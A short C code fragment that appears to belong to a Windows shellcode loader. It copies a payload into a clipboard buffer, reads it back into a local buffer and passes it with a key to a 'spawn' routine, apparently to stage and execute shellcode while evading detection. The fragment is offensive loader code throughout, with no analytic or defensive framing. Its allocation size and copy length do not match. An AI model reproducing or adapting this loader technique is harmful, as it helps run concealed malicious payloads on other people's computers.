if (!OpenClipboard(NULL)) { return; };
hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE,sizeof(shellcode));
lpCopy = GlobalLock(hGlobalCopy);
memcpy(lpCopy, payload->payload, payload->length);
GlobalUnlock(hGlobalCopy);
SetClipboardData(CF_TEXT, hGlobalCopy);
hGlobal = GetClipboardData(CF_TEXT);
lptstr = GlobalLock(hGlobal);
memcpy(buffer, lptstr, payload->length);
spawn(buffer, payload->length, payload->key);